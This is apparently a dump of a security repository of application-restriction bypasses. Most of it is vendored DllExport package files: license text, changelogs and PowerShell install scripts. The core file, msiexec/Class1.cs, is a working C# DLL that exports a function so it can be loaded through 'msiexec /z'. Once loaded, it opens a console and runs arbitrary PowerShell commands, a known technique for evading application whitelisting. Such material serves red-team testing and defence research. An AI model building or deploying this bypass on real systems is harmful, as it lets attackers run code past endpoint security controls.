lawsuit 9 | alleging direct or contributory patent infringement by any Covered Code, or 10 | inducement of patent infringement by any Covered Code, then your rights under 11 | this promise will automatically terminate. 12 | 13 | This promise is not an assurance that (i) any .NET Patents are valid or 14 | enforceable, or (ii) Covered Code does not infringe patents or other 15 | intellectual property rights of any third party. No rights except those 16 | expressly stated in this promise are granted, waived, or received by 17 | Microsoft, whether by implication, exhaustion, estoppel, or otherwise. 18 | This is a personal promise directly from Microsoft to you, and you agree as a 19 | condition of benefiting from it that no Microsoft rights are received from 20 | suppliers, distributors, or otherwise from any other person in connection with 21 | this promise. 22 | 23 | Definitions: 24 | 25 | "Covered Code" means those Microsoft .NET libraries and runtime components as 26 | made available by Microsoft at https://github.com/dotnet/coreclr, 27 | https://github.com/dotnet/corefx and https://github.com/dotnet/corert. 28 | 29 | ".NET Patents" are those patent claims, both currently owned by Microsoft and 30 | acquired in the future, that are necessarily infringed by Covered Code. .NET 31 | Patents do not include any patent claims that are infringed by any Enabling 32 | Technology, that are infringed only as a consequence of modification of 33 | Covered Code, or that are infringed only by the combination of Covered Code 34 | with third party code. 35 | 36 | ".NET Runtime" means any compliant implementation in software of (a) all of 37 | the required parts of the mandatory provisions of Standard ECMA-335 – Common 38 | Language Infrastructure (CLI); and (b) if implemented, any additional 39 | functionality in Microsoft's .NET Framework, as described in Microsoft's API 40 | documentation on its MSDN website. For example, .NET Runtimes include 41 | Microsoft's .NET Framework and those portions of the Mono Project compliant 42 | with (a) and (b). 43 | 44 | "Enabling Technology" means underlying or enabling technology that may be 45 | used, combined, or distributed in connection with Microsoft's .NET Framework 46 | or other .NET Runtimes, such as hardware, operating systems, and applications 47 | that run on .NET Framework or other .NET Runtimes. -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/README.md: -------------------------------------------------------------------------------- 1 | [.NET Core Runtime (CoreCLR)](https://github.com/3F/coreclr) 2 | =========================== 3 | 4 | This repo contains the .NET Core runtime, called CoreCLR, and the base library, called mscorlib. It includes the garbage collector, JIT compiler, base .NET data types and many low-level classes. 5 | 6 | Build Status 7 | ------------ 8 | 9 | | CI 10 | --------------------| ---------------- 11 | Win.x86-x64.Release | [![Build status](https://ci.appveyor.com/api/projects/status/4gwh8k5wn62tk8iv/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/coreclr/branch/master) 12 | 13 | 14 | License 15 | ------- 16 | 17 | .NET Core (including the coreclr repo) is licensed under the [MIT license](LICENSE.TXT). 18 | 19 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/_Version.txt: -------------------------------------------------------------------------------- 1 | 2 | Architecture | Platform | Config | commit-sha1 | ILD/Asm | coreclr | Path 3 | -------------|----------|---------|------------------------------------------|---------------------------|---------|------------- 4 | x86 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x86\ 5 | x64 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x64\ 6 | 7 | `* - The base of version, i.e. it can be different from official release` 8 | 9 | https://github.com/3F/coreclr 10 | 11 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/changelog.txt: -------------------------------------------------------------------------------- 1 | https://github.com/3F/coreclr 2 | - - - - - - - - - - - - - - - - 3 | 4 | # coreclr \ ILAsm 5 | 6 | [v4.5.1] 7 | 8 | * FIXED: Fixed using of cvtres (.res -> obj COFF-format) in mscorpe. 9 | Possible crash: https://github.com/3F/coreclr/issues/2 10 | Related Issue: https://github.com/3F/DllExport/issues/17 11 | 12 | * NEW: Implemented additional searching of the converters of resources: 13 | Environment PATH, local directory, and other additional from user path. 14 | Now it also can be wrapped like ` mytool.cmd -> cvtres.exe %* ` etc. 15 | 16 | * NEW: Added new /CVRES (/CVR) key to ilasm.exe 17 | `/CVRES= Set path to cvtres tool: /CVR=cvtres.exe /CVR=tool\cvtres.cmd /CVR=D:\tool\` 18 | 19 | * NOTE: based on 4.5.22220.0 / coreclr 1.0.4 20 | ^ ^ ^ ^ 21 | | | | |-- VER_FILEVERSIONREVISION 22 | | | |------- VER_FILEVERSIONBUILD 23 | | |---------- VER_FILEVERSIONMINOR 24 | |------------ VER_MAJORVERSION 25 | 26 | 27 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/coreclr.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/ilasm.exe -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/ildasm.exe -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/ildasmrc.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/mscordaccore.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/coreclr/mscordbi.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/init.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | # init.ps1 - once for serial install/remove 4 | 5 | Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1) 6 | 7 | # TODO: required for 'Load-Configurator' 8 | $cecil = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\Mono.Cecil.dll")); -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $targetFileName = 'net.r_eg.DllExport.targets' 4 | $assemblyFName = 'DllExport' # $package.AssemblyReferences[0].Name 5 | $publicKeyToken = '8337224C9AD9E356'; 6 | $metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll')); 7 | $targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName) 8 | $targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute 9 | $gpc = Get-MBEGlobalProjectCollection 10 | $projects = $gpc.GetLoadedProjects($project.FullName) 11 | 12 | # GUI Configurator 13 | 14 | # powershell -Command "Import-Module (Join-Path $escToolsPath Configurator.dll); Set-Configuration -Dll $asmpath" 15 | 16 | # $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath" 17 | # if($dllConf) { 18 | # Import-Module $dllConf; 19 | # } 20 | 21 | Import-Module (Load-Configurator "$toolsPath") 22 | Set-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc; 23 | 24 | 25 | # change the reference to DllExport.dll to not be copied locally 26 | 27 | $project.Object.References | ? { 28 | $_.Name -ieq $assemblyFName -And $_.PublicKeyToken -ieq $publicKeyToken 29 | } | % { 30 | if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){ 31 | $_.CopyLocal = $false 32 | } 33 | } 34 | 35 | $projects | % { 36 | $currentProject = $_ 37 | 38 | # remove imports of net.r_eg.DllExport.targets from this project 39 | $currentProject.Xml.Imports | ? { 40 | return ($targetFileName -ieq [IO.Path]::GetFileName($_.Project)) 41 | } | % { 42 | $currentProject.Xml.RemoveChild($_); 43 | } 44 | 45 | # remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName 46 | $currentProject.Xml.Properties | ? { 47 | $_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName" 48 | } | % { 49 | $_.Parent.RemoveChild($_) 50 | } 51 | 52 | $projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute 53 | $relativeUrl = $projectUri.MakeRelative($targetUri) 54 | $import = $currentProject.Xml.AddImport($relativeUrl) 55 | $import.Condition = "Exists('$relativeUrl')"; 56 | 57 | # remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it) 58 | Remove-OldDllExportFolder $project 59 | } -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/msbuild.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal enableDelayedExpansion 3 | 4 | :: The MSBuild-helper. Part of GetNuTool 5 | :: https://github.com/3F/GetNuTool 6 | 7 | :: arguments: 8 | :: 9 | :: msbuild -notamd64 - to select x86 instance instead of x64 if it's possible. 10 | :: msbuild - to select any available instance. 11 | :: 12 | 13 | set args=%* 14 | set notamd64=0 15 | 16 | set a=%args:~0,30% 17 | set a=%a:"=% 18 | 19 | if "%a:~0,9%"=="-notamd64" ( 20 | call :popa %1 21 | shift 22 | set notamd64=1 23 | ) 24 | 25 | for %%v in (14.0, 12.0, 15.0, 4.0, 3.5, 2.0) do ( 26 | for /F "usebackq tokens=2* skip=2" %%a in ( 27 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul` 28 | ) do if exist %%b ( 29 | 30 | if NOT "%notamd64%" == "1" ( 31 | set msbuild=%%b\msbuild.exe 32 | goto found 33 | ) 34 | 35 | :: 7z & amd64\msbuild - https://github.com/3F/vsSolutionBuildEvent/issues/38 36 | set _amd=..\msbuild.exe 37 | if exist "%%b/!_amd!" ( 38 | set msbuild=%%b\!_amd! 39 | ) else ( 40 | set msbuild=%%b\msbuild.exe 41 | ) 42 | goto found 43 | ) 44 | ) 45 | 46 | echo MSBuild was not found, try: ` "full_path_to_msbuild.exe" arguments ` 1>&2 47 | goto exit 48 | 49 | 50 | :found 51 | 52 | set msbuild="%msbuild%" 53 | 54 | echo MSBuild Tools: %msbuild% 55 | 56 | %msbuild% %args% 57 | 58 | :popa 59 | call set args=%%args:%1^=%% 60 | exit /B 0 61 | 62 | :exit 63 | exit /B 0 -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.dll -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.Configurator.pdb -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/net.r_eg.DllExport.targets: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\ 6 | lib\net20\ 7 | tools\ 8 | 9 | System.Runtime.InteropServices 10 | $(DllExportRootPkg)$(DllExportLibPath) 11 | DllExportAttribute 12 | DllExport.dll 13 | $(DllExportLibFullPath)$(DllExportMetaLibName) 14 | true 15 | true 16 | $(DllExportRootPkg)$(DllExportToolsPath)coreclr\ 17 | 18 | 19 | 20 | 21 | $(Platform) 22 | $(PlatformTarget) 23 | $(CpuType) 24 | $(DebugSymbols) 25 | false 26 | $(DllExportTimeout) 27 | $(KeyContainerName)$(AssemblyKeyContainerName) 28 | $(KeyOriginatorFile) 29 | $(MSBuildProjectDirectory) 30 | $(TargetPath) 31 | $(TargetedFrameworkDir);$(TargetFrameworkDirectory) 32 | $(DevEnvDir)\..\..\VC\bin 33 | $(DevEnvDir) 34 | $(TargetFrameworkVersion) 35 | $(TargetFrameworkSDKToolsDirectory) 36 | $(NoDllExportsForAnyCpu) 37 | 1 38 | false 39 | 40 | 41 | 42 | 65 | 66 | 67 | 68 | 69 | 70 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/nsbin.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set dll=%1 4 | set namespace=%2 5 | set useCecil=%3 6 | 7 | powershell -NonInteractive -NoProfile -NoLogo -Command "& Import-Module \"%~dp0/NSBin.dll\"; Set-DDNS -Dll \"%dll%\" -Namespace \"%namespace%\" -UseCecil $%useCecil% " -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/powershell.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | for %%v in (3, 1, 2, 5, 4) do ( 4 | for /F "usebackq tokens=2* skip=2" %%a in ( 5 | `reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\%%v\PowerShellEngine" /v ApplicationBase 2^> nul` 6 | ) do if exist %%b ( 7 | set powershell="%%b\powershell.exe" 8 | goto found 9 | ) 10 | ) 11 | 12 | echo PowerShell was not found. Trying call 'as is' 13 | powershell %* 14 | 15 | goto exit 16 | 17 | :found 18 | 19 | echo PowerShell path: %powershell% 20 | 21 | %powershell% %* 22 | 23 | 24 | :exit -------------------------------------------------------------------------------- /Src/Net4.0/cpl/packages/DllExport.1.5.2/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | $assemblyFName = 'DllExport' 4 | $targetFileName = 'net.r_eg.DllExport.targets' 5 | $metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll')); 6 | $gpc = Get-MBEGlobalProjectCollection 7 | $projects = $gpc.GetLoadedProjects($project.FullName) 8 | 9 | # Configurator 10 | 11 | # $dllConf = Get-TempPathToConfiguratorIfNotLoaded 'net.r_eg.DllExport.Configurator.dll' "$toolsPath" 12 | # if($dllConf) { 13 | # Import-Module $dllConf; 14 | # } 15 | 16 | Import-Module (Load-Configurator "$toolsPath") 17 | Reset-Configuration -MetaLib "$metaLib" -InstallPath "$installPath" -ToolsPath "$toolsPath" -ProjectDTE $project -ProjectsMBE $gpc; 18 | 19 | # 20 | 21 | return $projects | % { 22 | $currentProject = $_ 23 | 24 | $currentProject.Xml.Imports | ? { 25 | $targetFileName -ieq [System.IO.Path]::GetFileName($_.Project) 26 | } | % { 27 | $currentProject.Xml.RemoveChild($_) 28 | } 29 | } -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/Class1.cs: -------------------------------------------------------------------------------- 1 | //https://gist.githubusercontent.com/NickTyrer/9f8cbd5142c4cea63e98da8aac39c874/raw/940ebc69ddb66768001dbe9655ee8960baabb660/msiexec.cs 2 | // msiexec /z "full path to msiexec.dll" 3 | 4 | using System; 5 | using System.Runtime.InteropServices; 6 | using System.Collections.ObjectModel; 7 | using System.Management.Automation; 8 | using System.Management.Automation.Runspaces; 9 | using System.Text; 10 | using msiexec_bypass; 11 | 12 | class Exports 13 | { 14 | [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)] 15 | //Based on Casey Smiths's Work 16 | public static bool DllRegisterServer() 17 | { 18 | while (true) 19 | { 20 | AllocConsole(); 21 | IntPtr defaultStdout = new IntPtr(7); 22 | IntPtr currentStdout = GetStdHandle(StdOutputHandle); 23 | Console.Write("PS >"); 24 | string x = Console.ReadLine(); 25 | try 26 | { 27 | Console.WriteLine(RunPSCommand(x)); 28 | } 29 | catch (Exception e) 30 | { 31 | Console.WriteLine(e.Message); 32 | } 33 | } 34 | return true; 35 | } 36 | //Based on Jared Atkinson's And Justin Warner's Work 37 | public static string RunPSCommand(string cmd) 38 | { 39 | //Init stuff 40 | Runspace runspace = RunspaceFactory.CreateRunspace(); 41 | runspace.Open(); 42 | RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); 43 | Pipeline pipeline = runspace.CreatePipeline(); 44 | 45 | //Add commands 46 | pipeline.Commands.AddScript(cmd); 47 | 48 | //Prep PS for string output and invoke 49 | pipeline.Commands.Add("Out-String"); 50 | Collection results = pipeline.Invoke(); 51 | runspace.Close(); 52 | 53 | //Convert records to strings 54 | StringBuilder stringBuilder = new StringBuilder(); 55 | foreach (PSObject obj in results) 56 | { 57 | stringBuilder.Append(obj); 58 | } 59 | return stringBuilder.ToString().Trim(); 60 | } 61 | 62 | public static void RunPSFile(string script) 63 | { 64 | PowerShell ps = PowerShell.Create(); 65 | ps.AddScript(script).Invoke(); 66 | } 67 | 68 | private const UInt32 StdOutputHandle = 0xFFFFFFF5; 69 | [DllImport("kernel32.dll")] 70 | private static extern IntPtr GetStdHandle(UInt32 nStdHandle); 71 | [DllImport("kernel32.dll")] 72 | private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle); 73 | [DllImport("kernel32")] 74 | static extern bool AllocConsole(); 75 | 76 | 77 | } -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("msiexec-bypass")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("msiexec-bypass")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b47d4cb4-a47f-46b7-baa2-f7857ce4703a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/msiexec.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A} 8 | Library 9 | Properties 10 | msiexec_bypass 11 | m 12 | v4.5 13 | 512 14 | 15 | msiexec_bypass 16 | true 17 | false 18 | 1 19 | false 20 | false 21 | 22 | 23 | true 24 | full 25 | false 26 | bin\Debug\ 27 | DEBUG;TRACE 28 | prompt 29 | 4 30 | x64 31 | false 32 | 33 | 34 | pdbonly 35 | true 36 | bin\Release\ 37 | TRACE 38 | prompt 39 | 4 40 | false 41 | 42 | 43 | 44 | packages\DllExport.1.5.2\lib\net20\DllExport.dll 45 | False 46 | 47 | 48 | 49 | 50 | False 51 | ..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 72 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/msiexec.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "msiexec", "msiexec.csproj", "{B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {B47D4CB4-A47F-46B7-BAA2-F7857CE4703A}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/3rd-party.txt: -------------------------------------------------------------------------------- 1 | DllExport [ github.com/3F/DllExport ] 2 | - - - - - - - - - - - - - - - - - - - 3 | 4 | # Third-party software components 5 | 6 | ## The DllExport includes: 7 | 8 | * CoreCLR / ILAsm / ILDasm [ github.com/3F/coreclr ] 9 | * Mono.Cecil [ github.com/jbevain/cecil ] 10 | * SDK reference assemblies for PowerShell version 5 [ github.com/PowerShell/ ] 11 | 12 | ## Maintenance of this project also includes: 13 | 14 | * vsSolutionBuildEvent /+ CI.MSBuild [ github.com/3F/vsSolutionBuildEvent ] 15 | * GetNuTool [ github.com/3F/GetNuTool ] 16 | 17 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/DllExport.1.5.2.nupkg -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/License.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2009-2015 Robert Giesecke 4 | Copyright (c) 2016-2017 Denis Kuzmin 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in 14 | all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | THE SOFTWARE. -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/Readme.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/Readme.md -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/changelog.txt: -------------------------------------------------------------------------------- 1 | DllExport - github.com/3F/DllExport 2 | - - - - - - - - - - - - - - - - - - 3 | 4 | [v1.5.2] 2017.03.13 5 | 6 | * FIXED: Failing to compile in VS2017. Issue #29 7 | `Error The "DllExportAppDomainIsolatedTask" task failed unexpectedly. System.ArgumentException: Requested value 'Version46' was not found.` 8 | 9 | * FIXED: Possible error `Could not load file or assembly Microsoft.Build.Utilities or one of its dependencies.` 10 | * CHANGED: Updated script for loading of the Configurator to avoid problem with old assemblies. Issue #22 11 | 12 | [v1.5.1] 2016.11.12 13 | 14 | * FIXED: Error : Invalid Option: /CVRES= Issue #20 15 | * NOTE: Our coreclr version was compiled with MSVC 14.0. Related Issue #21 16 | 17 | [v1.5] 2016.11.04 18 | 19 | * FIXED: Fixed problem with white-space chars in path: `Cannot find path '' because it does not exist ...` 20 | * FIXED: Fixed typo with fullseq (ddNS) - incorrect `0x30 0x30` ~0x007A7-0x007A8 /details in #14 21 | * FIXED: Possible problem with NullReferenceException when removing package. 22 | * FIXED: Fixed problem with old NS data when we try to install package for project A, then for project B 23 | * NEW: Implemented 'Generate .exp + .lib via MS Library Manager' #9 24 | GUI Configurator + MSBuild property: `DllExportGenExpLib` 25 | 26 | * NEW: Added support of unmanaged-export for Executable Modules (.exe) #18 27 | * NEW: Cecil variant for ddNS features /#14, #2 28 | * NEW: Added our custom IL Assembler as option to fix incorrect 0x13 / 0x11 opcodes. #17 29 | GUI Configurator + MSBuild property: `DllExportOurILAsm` 30 | It should help for users of Fody projects, etc. 31 | https://github.com/Fody/Fody/issues/271 32 | 33 | IlAsm 4.5.1 https://github.com/3F/coreclr 34 | based on 4.5.22220.0 / coreclr 1.0.4 35 | changelog of our coreclr for this release: https://github.com/3F/coreclr/blob/master/changelog.txt 36 | 37 | * CHANGED: Updated scripts of installing/removing package for more correct loading of our assemblies. 38 | 39 | [v1.4] 2016.10.05 40 | 41 | * FIXED: Fixed bug - `An item with the same key has already been added`. Issue #10 42 | * FIXED: Bug with Meta library: Incorrect default values. Issue #16 43 | please note, the __cdecl is the default calling convention for our library 44 | as and for C and C++ programs. 45 | 46 | * FIXED?: Probably fixed bug - `Script errors on package install` Issue #6 47 | * FIXED?: Probably fixed bug - `non-English system language - syntax error` Issue #7 48 | * NEW: GUI Configurator with updated ddNS features. 49 | * NEW: Implemented feature 'Export for platform': [ x86 / x64 / x86 + x64 ] Issue #9 50 | * NEW: Implemented feature 'Base for ordinals'. Issue #11 51 | There is also alternative to configure this number - MSBuild property: DllExportOrdinalsBase 52 | 53 | * NEW: The one (1) now is used by default as Base for all ordinals. 54 | `Mimic ordinal counter (start from 1 instead of 0)` Issue #8 55 | 56 | * CHANGED: The ddNS features now as binary cmdlet `NSBin`. Use `nsbin.bat` if needed. 57 | * CHANGED: `Set "Inherited = false" in AttributeUsage for DllExportAttribute`. Issue #15 58 | * OTHER: other possible changes and fixes. 59 | 60 | [v1.3] 2016.08.21 61 | 62 | * FIXED: bug 'Incorrect library' when DllExport installed for 2+ projects. 63 | * CHANGED: DllExport now uses `Cdecl` calling convention by default. 64 | * CHANGED: Mono.Cecil v0.9.6.4 65 | 66 | [v1.2] 2016.07.13 67 | 68 | * CHANGED: dynamic definition of namespace for user scope. Issue #2 69 | 70 | [v1.1] 2016.06.29 71 | 72 | * CHANGED: DllExport now is part of System.Runtime.InteropServices as and DllImport. 73 | * CHANGED: Mono.Cecil v0.9.6.1 74 | * NEW: 0x80070005 meaning... Issue #1 75 | * NEW: +DllExport(CallingConvention convention) signature 76 | 77 | [v1.0] 2016.06.25 78 | 79 | * Initial the open release, based on v1.2.7.38850 80 | 81 | -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/lib/net20/DllExport.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/lib/net20/DllExport.dll -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/woanware/application-restriction-bypasses/4b381c206d9e813bc15e25f93b3c3d06b184ffac/Src/Net4.0/msiexec/packages/DllExport.1.5.2/lib/net20/DllExport.dll.ddNSi -------------------------------------------------------------------------------- /Src/Net4.0/msiexec/packages/DllExport.1.5.2/lib/net20/DllExport.dll.raw: -------------------------------------------------------------------------------- 